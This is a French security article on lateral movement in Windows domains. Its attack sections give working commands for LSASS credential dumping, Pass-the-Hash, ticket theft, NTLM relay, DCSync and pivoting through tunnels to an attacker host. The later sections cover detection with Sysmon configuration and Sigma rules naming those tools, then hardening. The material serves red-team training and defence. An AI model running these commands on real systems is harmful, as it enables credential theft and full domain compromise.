Besoin d'un audit de sécurité ?
Devis personnalisé sous 24h
Techniques de Hacking / Post-Exploitation

Mouvement Latéral : Techniques d'Attaque, Détection et Prévention

Par Ayi NEDJIMI 1 mars 2026 Lecture : 35 min ~6000 mots
#LateralMovement #PassTheHash #PassTheTicket #Pivoting #CredentialGuard

1. Introduction : le mouvement latéral dans la kill chain

Le mouvement latéral est la phase de l'attaque durant laquelle un adversaire, ayant obtenu un accès initial sur un système du réseau, se propage d'hôte en hôte pour atteindre ses objectifs : localiser les données sensibles, compromettre les comptes à privilèges, accéder aux contrôleurs de domaine, et établir une persistance profonde dans l'infrastructure. C'est la phase qui transforme une compromission locale en une compromission totale du système d'information.

Dans le framework MITRE ATT&CK, le mouvement latéral constitue la tactique TA0008 et comprend neuf techniques principales (T1021, T1534, T1570, etc.). Dans la Cyber Kill Chain de Lockheed Martin, il correspond aux phases 5 (Installation) et 6 (Command & Control) combinées à une expansion horizontale. Dans les rapports d'incidents, le mouvement latéral est présent dans plus de 70 % des attaques réussies selon le DBIR 2025 de Verizon, et c'est souvent la phase qui fait la différence entre un incident contenu et une compromission totale.

Cet article propose une analyse exhaustive des techniques de mouvement latéral -- de la théorie à l'exploitation pratique -- suivie des méthodes de détection et des mesures de prévention. L'objectif est double : permettre aux red teamers de comprendre les techniques offensives, et donner aux défenseurs les clés pour les détecter et les bloquer. Nous couvrirons les techniques d'abus de credentials (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash), les mécanismes d'exécution distante (PsExec, WMI, WinRM, DCOM, SSH pivoting), les outils offensifs (Impacket, CrackMapExec, Cobalt Strike), les techniques de pivoting réseau, et les contre-mesures défensives (Credential Guard, LAPS, tiering model, micro-segmentation Zero Trust).

Key takeaway : Le mouvement latéral exploite une faiblesse structurelle des réseaux plats : une fois à l'intérieur, la confiance implicite permet de se déplacer librement. La défense repose sur trois piliers : réduire les credentials réutilisables, segmenter le réseau, et détecter les comportements anormaux.

2. Techniques d'abus de credentials

2.1 Pass-the-Hash (PtH)

Le Pass-the-Hash est la technique de mouvement latéral la plus emblématique. Elle exploite une propriété fondamentale du protocole d'authentification NTLM : l'authentification ne requiert pas le mot de passe en clair, mais uniquement son hash NT (MD4). Un attaquant qui récupère le hash NT d'un utilisateur peut s'authentifier sur n'importe quel service acceptant NTLM, sans jamais connaître le mot de passe.

Extraction des hashes : Les hashes NT sont stockés dans la base SAM (Security Account Manager) pour les comptes locaux et dans la mémoire du processus lsass.exe pour les sessions interactives. Les outils d'extraction incluent :

# Extraction des hashes depuis la mémoire LSASS avec Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Extraction depuis la base SAM (nécessite SYSTEM)
mimikatz # lsadump::sam

# Extraction distante avec secretsdump (Impacket)
secretsdump.py domain/admin:password@target

# Dump LSASS via comsvcs.dll (LOLBin - Living Off the Land)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full

Exploitation PtH : Une fois le hash NT obtenu, l'attaquant peut s'authentifier sur les services distants :

# Pass-the-Hash avec Impacket (psexec)
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 domain/admin@192.168.1.10

# Pass-the-Hash avec CrackMapExec
crackmapexec smb 192.168.1.0/24 -u admin -H e19ccf75ee54e06b06a5907af13cef42

# Pass-the-Hash avec Evil-WinRM
evil-winrm -i 192.168.1.10 -u admin -H e19ccf75ee54e06b06a5907af13cef42

Le PtH fonctionne parce que NTLM utilise un mécanisme challenge-response où le client prouve la connaissance du hash sans le transmettre directement. L'attaquant calcule la réponse au challenge avec le hash volé, et le serveur ne peut pas distinguer cette réponse d'une authentification légitime. Le problème est structurel : tant que NTLM est activé, le PtH est possible.

2.2 Pass-the-Ticket (PtT)

Le Pass-the-Ticket est l'équivalent du PtH pour l'authentification Kerberos. L'attaquant vole un ticket Kerberos (TGT ou TGS) depuis la mémoire d'un processus et l'injecte dans sa propre session pour usurper l'identité de l'utilisateur légitime.

Types de tickets exploitables :

  • TGT (Ticket Granting Ticket) : Le "golden ticket" de la session. Avec un TGT valide, l'attaquant peut demander des TGS pour n'importe quel service du domaine, exactement comme l'utilisateur légitime.
  • TGS (Ticket Granting Service) : Un ticket pour un service spécifique. Moins puissant qu'un TGT mais suffisant pour accéder au service ciblé (par exemple, un TGS pour CIFS/fileserver permet l'accès aux partages SMB).
# Export de tous les tickets Kerberos en mémoire (Mimikatz)
mimikatz # sekurlsa::tickets /export

# Injection d'un ticket TGT volé dans la session courante
mimikatz # kerberos::ptt ticket_admin@krbtgt~DOMAIN.LOCAL.kirbi

# Vérification du ticket injecté
klist

# Avec Rubeus (.NET)
Rubeus.exe dump /nowrap
Rubeus.exe ptt /ticket:<base64_ticket>

2.3 Overpass-the-Hash (Pass-the-Key)

L'Overpass-the-Hash est une variante sophistiquée qui combine PtH et Kerberos. L'attaquant utilise le hash NT (ou les clés AES Kerberos) d'un utilisateur pour demander un TGT légitime au KDC. Le résultat est un ticket Kerberos parfaitement valide, ce qui rend la détection plus difficile car le flux Kerberos est "normal" contrairement au PtH NTLM.

# Overpass-the-Hash avec Mimikatz
mimikatz # sekurlsa::pth /user:admin /domain:corp.local /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:cmd.exe

# Overpass-the-Hash avec Rubeus (AES256 key - plus furtif)
Rubeus.exe asktgt /user:admin /domain:corp.local /aes256:<aes256_key> /ptt /opsec

# Avec Impacket (getTGT)
getTGT.py -hashes :e19ccf75ee54e06b06a5907af13cef42 corp.local/admin

L'avantage offensif de l'Overpass-the-Hash est qu'il génère un trafic Kerberos légitime (AS-REQ/AS-REP) au lieu de NTLM, ce qui contourne les détections basées sur le monitoring NTLM. De plus, si l'attaquant utilise la clé AES256 plutôt que le hash NT, les logs Kerberos montrent un chiffrement "normal" (etype 18 vs etype 23), ce qui rend la détection encore plus complexe.

2.4 SMB Relay et NTLM Relay

Les attaques relay ne volent pas les credentials mais interceptent et relaient les authentifications NTLM en temps réel vers un serveur cible. L'attaquant se positionne en man-in-the-middle (via LLMNR/NBT-NS poisoning, WPAD, ou ADIDNS poisoning) et redirige l'authentification de la victime vers le serveur qu'il souhaite compromettre.

# NTLM Relay avec Impacket - ntlmrelayx
# Étape 1 : Poisonner LLMNR/NBT-NS pour capturer les authentifications
sudo responder -I eth0 -rdw

# Étape 2 : Relayer les authentifications vers les cibles sans SMB Signing
ntlmrelayx.py -tf targets.txt -smb2support

# Variante : relay vers LDAP pour modifier l'AD (ajouter un utilisateur)
ntlmrelayx.py -t ldap://dc01.corp.local --escalate-user attacker

# Variante : relay vers HTTP pour accéder à Exchange (EWS)
ntlmrelayx.py -t https://mail.corp.local/EWS/Exchange.asmx

La condition pour que le relay fonctionne est que la cible n'exige pas la signature SMB (SMB Signing). Par défaut, seuls les contrôleurs de domaine exigent la signature SMB ; les postes clients et serveurs membres ne l'exigent pas, ce qui laisse une surface d'attaque massive. Pour une analyse approfondie, consultez notre article sur le NTLM Relay moderne.

2.5 Named Pipe Impersonation

Le Named Pipe Impersonation exploite les pipes nommées Windows pour obtenir un token d'un utilisateur qui se connecte. L'attaquant crée un service ou un pipe nommé, attend qu'un utilisateur privilégié s'y connecte (par social engineering, via une GPO piégée ou un service vulnérable), puis appelle ImpersonateNamedPipeClient() pour obtenir le token de l'utilisateur. Cette technique est utilisée par des outils comme Potato (Hot Potato, Sweet Potato, Juicy Potato) pour l'escalade de privilèges, mais elle s'applique également au mouvement latéral lorsque le pipe est exposé sur le réseau via SMB.

Taxonomie des techniques de mouvement lateral ABUS DE CREDENTIALS Pass-the-Hash (NTLM) Pass-the-Ticket (Kerberos) Overpass-the-Hash NTLM Relay / SMB Relay Named Pipe Impersonation EXECUTION DISTANTE PsExec / SMB + Service WMI (DCOM port 135) WinRM (HTTP 5985/5986) DCOM (MMC20, ShellWindows) RDP Hijacking (tscon.exe) PIVOTING RESEAU SSH Tunneling / Port Fwd SOCKS Proxy (Chisel) Ligolo-ng (TUN interface) Netsh Port Proxy (LOLBin) DNS Tunneling / ICMP Tun. MITRE ATT&CK Mapping (TA0008 - Lateral Movement) T1021.001 RDP T1021.002 SMB T1021.003 DCOM T1021.004 SSH T1021.006 WinRM T1550 Use Alt Auth T1550.002 PtH T1550.003 PtT T1557 AitM T1563.002 RDP Hij. T1570 Lateral Tool Transfer Position dans la Kill Chain 1. Recon 2. Initial Access 3. Priv Escalation 4. LATERAL MOV. 5. Persistence 6. Exfiltration 7. Impact

Figure 1 -- Taxonomie complète des techniques de mouvement latéral et mapping MITRE ATT&CK

3. Techniques d'exécution distante

3.1 PsExec et variantes SMB

PsExec (Sysinternals) est l'outil historique d'exécution distante Windows. Son fonctionnement est simple : il copie un binaire de service sur le partage ADMIN$ de la cible via SMB, crée un service Windows via le Service Control Manager (SCM) distant (DCE/RPC), démarre le service qui exécute la commande, puis nettoie. Les variantes offensives (Impacket psexec, smbexec, atexec) suivent le même principe avec des variations sur le mécanisme d'exécution.

# PsExec classique (Sysinternals)
PsExec.exe \\target -u domain\admin -p password cmd.exe

# Impacket psexec (crée un service, très détectable)
psexec.py domain/admin:password@target

# Impacket smbexec (pas de copie de binaire, utilise cmd.exe)
smbexec.py domain/admin:password@target

# Impacket atexec (via le Task Scheduler, plus discret)
atexec.py domain/admin:password@target "whoami"

# Impacket wmiexec (via WMI, pas de service créé)
wmiexec.py domain/admin:password@target

Détectabilité : PsExec classique est très bruyant. Il crée un service avec un nom aléatoire (PSEXESVC par défaut), copie un exécutable sur le partage ADMIN$, et génère des événements Windows EventID 7045 (Service Installation) et 4697 (Security Audit). Les variantes Impacket sont plus furtives mais laissent des traces dans les logs SMB et les pipes nommées.

3.2 WMI (Windows Management Instrumentation)

WMI est un framework d'administration Windows qui permet l'exécution de commandes à distance via le protocole DCOM (port 135 + ports dynamiques). L'avantage offensif de WMI est qu'il ne crée pas de service et ne copie pas de binaire sur la cible, ce qui le rend plus discret que PsExec.

# Exécution distante via WMI (natif Windows)
wmic /node:192.168.1.10 /user:domain\admin process call create "cmd.exe /c whoami > C:\temp\output.txt"

# Via PowerShell
Invoke-WmiMethod -ComputerName target -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami"

# Via Impacket (interactif)
wmiexec.py domain/admin:password@target

# Semi-interactif avec output via SMB share
wmiexec.py -share C$ domain/admin:password@target

WMI génère des événements WMI-Activity (EventID 5857, 5858, 5860, 5861) dans le log Microsoft-Windows-WMI-Activity/Operational. La détection repose sur la corrélation entre les événements WMI et les connexions DCOM entrantes.

3.3 WinRM (Windows Remote Management)

WinRM est le protocole d'administration distante de Microsoft basé sur WS-Management (HTTP/HTTPS). Il est activé par défaut sur les serveurs Windows depuis 2012 R2 et constitue le transport de PowerShell Remoting. WinRM opère sur les ports 5985 (HTTP) et 5986 (HTTPS).

# PowerShell Remoting (WinRM)
Enter-PSSession -ComputerName target -Credential domain\admin

# Exécution d'une commande à distance
Invoke-Command -ComputerName target -ScriptBlock { whoami; hostname } -Credential domain\admin

# Exécution sur plusieurs serveurs en parallèle
Invoke-Command -ComputerName srv1,srv2,srv3 -ScriptBlock { Get-Process } -Credential domain\admin

# Evil-WinRM (outil offensif dédié)
evil-winrm -i target -u admin -p password -s /path/to/scripts

3.4 DCOM (Distributed Component Object Model)

DCOM permet l'instanciation d'objets COM sur des machines distantes. Certains objets COM disposent de méthodes qui permettent l'exécution de commandes, ce qui en fait un vecteur de mouvement latéral méconnu et sous-détecté. Les objets les plus exploités :

  • MMC20.Application : La méthode Document.ActiveView.ExecuteShellCommand() permet d'exécuter des commandes arbitraires.
  • ShellWindows : Via Shell.Application, permet l'exécution de fichiers.
  • ShellBrowserWindow : Similaire à ShellWindows mais instancié différemment.
  • Excel.Application : Exécution de macros VBA à distance si Excel est installé.
  • Outlook.Application : Création de règles Outlook malveillantes ou exécution via VBA.
# DCOM via MMC20.Application (PowerShell)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","target"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","7")

# DCOM via Impacket
dcomexec.py -object MMC20 domain/admin:password@target "whoami"
dcomexec.py -object ShellWindows domain/admin:password@target "whoami"

3.5 RDP Hijacking

Le RDP Hijacking (T1563.002) permet à un attaquant avec des privilèges SYSTEM de prendre le contrôle d'une session RDP existante d'un autre utilisateur, sans connaître son mot de passe. L'outil natif tscon.exe (Terminal Services Connect) permet de basculer d'une session à une autre :

# Lister les sessions RDP actives
query user

# Hijacker une session (nécessite SYSTEM)
# Session ID 2 appartient à un Domain Admin connecté en RDP
tscon 2 /dest:console

# Si on est admin local mais pas SYSTEM, créer un service qui exécute tscon
sc create hijack binpath= "cmd.exe /k tscon 2 /dest:console" type= own
net start hijack

# Alternative via PsExec pour obtenir SYSTEM puis tscon
PsExec.exe -s -i cmd.exe
tscon 2 /dest:rdp-tcp#0

Le RDP Hijacking est particulièrement dangereux car il ne génère aucun événement d'authentification -- l'attaquant prend le contrôle d'une session déjà authentifiée. Les seuls indicateurs sont les événements de connexion/déconnexion de session (EventID 25 dans le log TerminalServices-LocalSessionManager) et la création de service (si la méthode service est utilisée).

4. Outils offensifs et pivoting réseau

4.1 Arsenal offensif

Outil Langage Techniques couvertes Détectabilité
Impacket Python PtH, PtT, psexec, wmiexec, smbexec, secretsdump, ntlmrelayx Variable (dépend du module)
CrackMapExec (NetExec) Python SMB enum, PtH, WinRM, MSSQL, spray, module execution Moyen (signatures connues)
Mimikatz C Credential dump, PtH, PtT, Golden/Silver Ticket, DCSync Élevé (très signé par les EDR)
Rubeus .NET Kerberoasting, AS-REP, PtT, S4U, RBCD Moyen-Élevé
Cobalt Strike Java/C PtH, PtT, psexec, WMI, named pipes, SMB beacon Variable (malleable C2)
Metasploit Ruby PtH (psexec), autoroute, pivoting, post-modules Élevé (signatures connues)
Sliver Go PtH, pivoting, port forwarding, SOCKS proxy Faible (compilé, pas de signature publique)
Evil-WinRM Ruby WinRM, PtH, script loading, file upload Moyen

4.2 Pivoting réseau : techniques et outils

Le pivoting réseau permet d'atteindre des segments réseau non accessibles directement depuis la position initiale de l'attaquant. Le système compromis sert de relais (pivot) pour router le trafic vers les réseaux internes.

SSH Tunneling

# Local port forwarding : accéder au port 3389 (RDP) d'un serveur interne
ssh -L 13389:10.10.10.50:3389 user@pivot-host

# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot-host
# Puis configurer proxychains pour utiliser le proxy SOCKS
proxychains nmap -sT 10.10.10.0/24

# Reverse SSH tunnel (quand le pivot ne peut pas initier de connexion sortante)
# Sur la machine de l'attaquant :
ssh -R 9090:localhost:1080 user@pivot-host

Chisel (SOCKS proxy via HTTP)

# Sur la machine de l'attaquant (serveur Chisel)
./chisel server --reverse --port 8080

# Sur le pivot (client Chisel - reverse SOCKS)
./chisel client attacker-ip:8080 R:socks

# Résultat : proxy SOCKS5 sur localhost:1080 de l'attaquant
# Tout le trafic passé via proxychains traverse le pivot

Ligolo-ng (TUN interface)

# Ligolo-ng crée une interface TUN réelle sur la machine de l'attaquant
# Avantage : pas besoin de proxychains, tout le trafic est routé nativement

# Sur l'attaquant (proxy)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

# Sur le pivot (agent)
./agent -connect attacker-ip:11601 -ignore-cert

# Ajouter la route vers le réseau interne
sudo ip route add 10.10.10.0/24 dev ligolo

# Maintenant, nmap, curl, etc. fonctionnent directement sans proxychains
nmap -sV 10.10.10.50

Ligolo-ng est aujourd'hui l'outil de pivoting le plus utilisé en pentest interne. Son avantage principal : il crée une interface réseau virtuelle (TUN) sur la machine de l'attaquant, ce qui permet d'utiliser n'importe quel outil réseau de manière transparente, sans proxychains ni configuration SOCKS. Le trafic est chiffré (TLS) et passe par des ports légitimes (443, 8080), ce qui le rend difficile à distinguer du trafic web normal. Pour les techniques d'exfiltration furtive, le pivoting est souvent un prérequis.

Scenario : mouvement lateral complet (Initial Access > Domain Admin) 1. PHISHING Compromission Workstation WS-01 2. CRED DUMP Mimikatz LSASS Hash IT Admin 3. PtH CrackMapExec SMB > File Server FS-01 4. ENUM + DUMP BloodHound enum Find DA session 5. DA COMPROMISE PtH/WMI > srv admin LSASS dump > DA hash 6. DCSYNC secretsdump > DC All domain hashes 7. GOLDEN TICKET Persistence krbtgt hash forged TGT Segments reseau traverses VLAN Postes (10.1.x) WS-01 (initial access) VLAN Serveurs (10.2.x) FS-01, APP-01 VLAN Admin (10.3.x) Admin jump hosts VLAN DC (10.0.x) DC01, DC02

Figure 2 -- Scénario complet : du phishing initial au Domain Admin via mouvement latéral

Les principales techniques de pivoting incluent :

TechniqueOutilMécanismeAvantage
Port Forwarding LocalSSH, Chisel, socatRedirige un port local vers un service distant via le pivotSimple, traverse les firewalls internes
Port Forwarding DistantSSH -R, Chisel serverExpose un service interne vers l'attaquantAccès à des services non routables
SOCKS ProxySSH -D, Chisel, SliverProxy SOCKS4/5 pour router tout le traficFlexible, tous protocoles supportés
Double PivotLigolo-ng, Chisel chaînéPivot à travers deux machines compromisesAtteint des segments à double segmentation
VPN PivotLigolo-ng, Cobalt Strike VPNTunnel VPN complet via le pivotConnectivité réseau complète (couche 3)
# Pivoting avec SSH -- Port Forwarding Local
# Accéder au port 445 (SMB) de 10.2.0.5 via le pivot 10.1.0.10
ssh -L 4445:10.2.0.5:445 user@10.1.0.10
# Puis : smbclient -p 4445 //127.0.0.1/C$

# Pivoting avec SSH -- SOCKS Proxy dynamique
ssh -D 1080 user@10.1.0.10
# Puis : proxychains crackmapexec smb 10.2.0.0/24

# Pivoting avec Chisel (sans SSH)
# Sur le pivot (machine compromise) :
chisel server --port 8080 --reverse
# Sur l'attaquant :
chisel client 10.1.0.10:8080 R:socks

# Pivoting avec Ligolo-ng (tunnel VPN layer 3)
# Sur l'attaquant :
ligolo-proxy -selfcert
# Sur le pivot :
ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert
# Ajouter la route : ip route add 10.2.0.0/24 dev ligolo

4.3 Scénario d'attaque complet : du phishing au Domain Admin

Voici un scénario réaliste de mouvement latéral étape par étape, tel qu'observé lors d'audits de sécurité Active Directory :

# Phase 1 : Accès initial (phishing) -- compromission de WS-01 (10.1.0.15)
# L'utilisateur ouvre un document malveillant, le beacon C2 se connecte

# Phase 2 : Reconnaissance locale
whoami /all                            # Identifier les privilèges
net localgroup administrators          # Admin local ?
ipconfig /all                          # Segments réseau accessibles
net view /domain                       # Domaines disponibles

# Phase 3 : Credential harvesting (nécessite admin local)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Résultat : hash NTLM de DOMAIN\admin-srv trouvé en cache

# Phase 4 : Mouvement latéral via PtH vers le serveur de fichiers (10.2.0.5)
crackmapexec smb 10.2.0.5 -u admin-srv -H aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 --shares
# Accès confirmé ! Partage ADMIN$ accessible

# Phase 5 : Exécution distante via WMI
impacket-wmiexec -hashes :5f4dcc3b5aa765d61d8327deb882cf99 DOMAIN/admin-srv@10.2.0.5
# Shell obtenu sur FS-01

# Phase 6 : Pivoting vers le VLAN Admin
# Depuis FS-01, scanner le réseau admin
1..254 | % { Test-Connection -Count 1 -Quiet "10.3.0.$_" }
# Machine admin 10.3.0.10 trouvée, RDP ouvert

# Phase 7 : Kerberoasting pour obtenir des credentials de service
Rubeus.exe kerberoast /outfile:hashes.txt
hashcat -m 13100 hashes.txt rockyou.txt
# Mot de passe du compte svc-backup cracké

# Phase 8 : DCSync via le compte de service (membre de Domain Admins)
impacket-secretsdump DOMAIN/svc-backup:Password123@DC01.domain.local
# Extraction de tous les hashes, y compris krbtgt
# Game over : Golden Ticket possible

5. Détection du mouvement latéral

5.1 Journaux Windows critiques

La détection du mouvement latéral repose sur la corrélation d'événements provenant de multiples sources. Les journaux Windows suivants sont essentiels :

Event IDJournalDescriptionDétection
4624SecurityLogon réussiType 3 (réseau) + Type 10 (RDP) depuis des sources inhabituelles
4625SecurityLogon échouéBrute force, password spraying (volume + pattern)
4648SecurityLogon avec credentials explicitesRunAs, PsExec, WMI avec credentials
4672SecurityPrivilèges spéciaux assignésNouveau logon admin sur une machine inhabituelle
4688SecurityCréation de processusLigne de commande suspecte (encodedcommand, IEX)
4768SecurityTGT demandé (AS-REQ)Overpass-the-Hash (chiffrement RC4 anormal)
4769SecurityTGS demandé (TGS-REQ)Kerberoasting (volume de TGS pour comptes de service)
4771SecurityPré-authentification Kerberos échouéeAS-REP Roasting (comptes sans pré-auth)
5140/5145SecurityAccès partage réseauAccès à ADMIN$, C$, IPC$ depuis des postes utilisateurs
7045SystemInstallation de servicePsExec crée un service temporaire (PSEXESVC)

5.2 Sysmon pour la détection avancée

Sysmon complète les journaux Windows natifs avec une granularité supérieure. Les événements les plus pertinents pour le mouvement latéral sont :

<!-- Configuration Sysmon -- détection mouvement latéral -->
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Event ID 1 : Processus créés par des outils de mouvement latéral -->
    <ProcessCreate onmatch="include">
      <ParentImage condition="end with">wmiprvse.exe</ParentImage>
      <ParentImage condition="end with">wsmprovhost.exe</ParentImage>
      <ParentImage condition="end with">winrshost.exe</ParentImage>
      <Image condition="end with">psexec.exe</Image>
      <Image condition="end with">psexesvc.exe</Image>
      <CommandLine condition="contains any">sekurlsa;mimikatz;rubeus;invoke-mimikatz;sharphound</CommandLine>
    </ProcessCreate>

    <!-- Event ID 3 : Connexions réseau latérales -->
    <NetworkConnect onmatch="include">
      <DestinationPort condition="is any">445;135;5985;5986;3389</DestinationPort>
    </NetworkConnect>

    <!-- Event ID 10 : Accès à LSASS (credential dumping) -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="end with">lsass.exe</TargetImage>
    </ProcessAccess>

    <!-- Event ID 17/18 : Named Pipes (C2 + mouvement latéral) -->
    <PipeEvent onmatch="include">
      <PipeName condition="contains any">psexesvc;msagent_;MSSE-;postex_;status_</PipeName>
    </PipeEvent>
  </EventFiltering>
</Sysmon>

5.3 Règles Sigma pour le mouvement latéral

Les règles Sigma formalisent les patterns de détection de manière portable entre les différents SIEM (Splunk, Elastic, Microsoft Sentinel, QRadar) :

# Règle Sigma : Pass-the-Hash via logon réseau
title: Pass-the-Hash Activity Detected
id: f8d98d6c-7a45-4b3e-9c1d-2e8f5a6b7c9d
status: stable
description: Détecte un logon réseau NTLM avec un compte admin local ou de domaine depuis un poste utilisateur
author: Ayi NEDJIMI
date: 2026/03/01
references:
    - https://attack.mitre.org/techniques/T1550/002/
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4624
        LogonType: 3
        AuthenticationPackageName: 'NTLM'
    filter_normal:
        SourceNetworkAddress|startswith:
            - '10.2.0.'  # VLAN serveurs (normal)
            - '10.0.0.'  # VLAN DC (normal)
    condition: selection and not filter_normal
level: high
tags:
    - attack.lateral_movement
    - attack.t1550.002

---
# Règle Sigma : PsExec Service Installation
title: PsExec Service Installation
id: e4c5d6f7-8a9b-4c3d-1e2f-5a6b7c8d9e0f
status: stable
description: Détecte l'installation du service PSEXESVC caractéristique de PsExec
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName|contains:
            - 'PSEXESVC'
            - 'PSEXEC'
            - 'meterpreter'
            - 'msf_'
    condition: selection
level: critical
tags:
    - attack.lateral_movement
    - attack.execution
    - attack.t1021.002

---
# Règle Sigma : Kerberoasting (volume anormal de TGS)
title: Potential Kerberoasting Activity
id: a1b2c3d4-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: stable
description: Détecte un volume anormal de demandes TGS pour des comptes de service
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4 (signe de Kerberoasting)
        ServiceName|endswith:
            - '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter | count(ServiceName) by SourceAddress > 10
    timeframe: 5m
level: high
tags:
    - attack.credential_access
    - attack.t1558.003

---
# Règle Sigma : DCSync Attack
title: DCSync Attack Detected
id: b2c3d4e5-6f7a-8b9c-0d1e-2f3a4b5c6d7e
status: stable
description: Détecte une réplication de directory demandée par un non-DC
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4662
        Properties|contains:
            - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes
            - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes-All
    filter:
        SubjectUserName|endswith: '$'
        SubjectUserName|contains: 'DC'
    condition: selection and not filter
level: critical
tags:
    - attack.credential_access
    - attack.t1003.006

5.4 Analyse réseau et NDR

La détection basée sur le réseau (NDR -- Network Detection and Response) offre une perspective complémentaire indispensable, car elle observe le trafic même si l'endpoint est compromis ou l'EDR contourné :

  • Détection SMB anomale : trafic SMB entre des postes utilisateurs (normalement, les postes communiquent avec les serveurs, pas entre eux). Un pic de connexions SMB port 445 entre workstations est un indicateur fort de mouvement latéral.
  • Analyse Kerberos : tickets Kerberos avec un chiffrement RC4 (au lieu de AES256) signalent du Pass-the-Hash ou du Kerberoasting. Les Golden Tickets ont souvent une durée de vie de 10 ans (valeur par défaut de Mimikatz).
  • Détection WMI/WinRM : connexions DCOM (port 135) ou WinRM (port 5985/5986) depuis des postes utilisateurs vers des serveurs sont suspectes si l'utilisateur n'est pas un administrateur.
  • Détection de tunneling : DNS tunneling (requêtes DNS avec des sous-domaines anormalement longs), HTTP/S tunneling (beaconing régulier), et ICMP tunneling.
  • Baseline comportementale : établir un profil de communication normal pour chaque segment réseau, puis détecter les déviations (nouveaux flux, nouveaux protocoles, nouveaux volumes).

6. Prévention et défense en profondeur

6.1 Architecture réseau et segmentation

La segmentation réseau est la première ligne de défense contre le mouvement latéral. Une architecture correctement segmentée limite drastiquement la capacité de l'attaquant à se déplacer :

PrincipeImplémentationImpact sur le mouvement latéral
MicrosegmentationNSX, Illumio, Guardicore -- politiques par workloadChaque serveur a sa propre politique de flux, interdisant les communications non autorisées
VLANs + ACLsSéparer postes/serveurs/admin/DC dans des VLANs distinctsContrôle des flux inter-segments, journalisation des traversées
Zero Trust NetworkVérification continue de l'identité et du contexte avant chaque accèsÉlimine la confiance implicite basée sur le segment réseau
PAW (Privileged Access Workstation)Stations dédiées à l'administration, isolées du réseau bureautiqueLes credentials admin ne transitent jamais sur le réseau utilisateur
Tiering ADTier 0 (DC), Tier 1 (serveurs), Tier 2 (postes) -- pas de connexion descendanteUn compromission Tier 2 ne peut pas atteindre Tier 0 directement
Jump ServersBastion hosts pour l'accès admin, avec MFA et enregistrement de sessionPoint de passage obligé, traçabilité complète des sessions admin

6.2 Protection des credentials

Puisque la majorité des techniques de mouvement latéral reposent sur le vol de credentials, leur protection est critique :

  • Credential Guard : isole LSASS dans un environnement virtualisé (VBS). Empêche Mimikatz de lire les credentials en mémoire. Activable via GPO sur Windows 10/11 Enterprise et Server 2016+.
  • LAPS (Local Administrator Password Solution) : génère un mot de passe admin local unique pour chaque machine, stocké dans AD et renouvelé automatiquement. Élimine la réutilisation de mots de passe locaux identiques.
  • Protected Users Security Group : les membres de ce groupe ne peuvent pas utiliser NTLM, Kerberos delegation, ni le caching de credentials. Idéal pour les comptes admin de domaine.
  • Kerberos AES uniquement : désactiver RC4 pour Kerberos force l'utilisation d'AES256, rendant les attaques Pass-the-Hash et Kerberoasting plus difficiles.
  • gMSA (Group Managed Service Accounts) : comptes de service avec des mots de passe de 240 caractères, renouvelés automatiquement tous les 30 jours. Remplace les comptes de service avec des mots de passe statiques.
  • MFA partout : authentification multi-facteurs pour tous les accès distants (VPN, RDP, WinRM, portails web).

6.3 Hardening des protocoles d'exécution distante

Chaque protocole utilisé pour le mouvement latéral peut être durci ou restreint :

# Restreindre PsExec / SMB latéral
# Désactiver le partage admin (ADMIN$, C$) sur les postes utilisateurs
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "AutoShareWks" -Value 0

# Restreindre WMI
# GPO : Computer Config > Windows Settings > Security Settings > 
# Windows Firewall > Inbound Rules > Bloquer WMI (TCP 135) sauf depuis les PAW

# Restreindre WinRM
# Activer uniquement sur les serveurs, avec authentification par certificat
Set-Item WSMan:\localhost\Client\TrustedHosts -Value ""
# Configurer WinRM via GPO pour n'accepter que les connexions depuis les PAW

# Restreindre RDP
# Désactiver RDP sur les postes utilisateurs (GPO)
# Sur les serveurs : RDP uniquement via jump servers avec NLA activé
# Activer Restricted Admin Mode pour éviter le caching de credentials
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0

# Désactiver LLMNR et NBT-NS (empêche le relay NTLM)
# GPO : Computer Config > Admin Templates > Network > DNS Client
# "Turn off multicast name resolution" = Enabled
# Désactiver NetBIOS dans les propriétés TCP/IP de chaque interface

# Activer SMB Signing (obligatoire) -- empêche le relay SMB
Set-SmbServerConfiguration -RequireSecuritySignature $true
Set-SmbClientConfiguration -RequireSecuritySignature $true

6.4 EDR et réponse automatisée

Un EDR moderne est indispensable pour la détection et le blocage en temps réel du mouvement latéral. Les capacités clés à exiger incluent :

  • Détection comportementale : identification des patterns de mouvement latéral (accès LSASS, création de service distant, injection de thread) au-delà des simples signatures
  • Protection LSASS : blocage des tentatives de lecture de la mémoire de LSASS par des processus non autorisés (Credential Guard matériel ou logiciel)
  • Corrélation multi-endpoints : mise en relation des événements sur la source et la destination du mouvement latéral pour reconstruire la chaîne d'attaque
  • Réponse automatisée : isolation réseau automatique d'une machine compromise, kill de processus malveillants, blocage de hashes connus
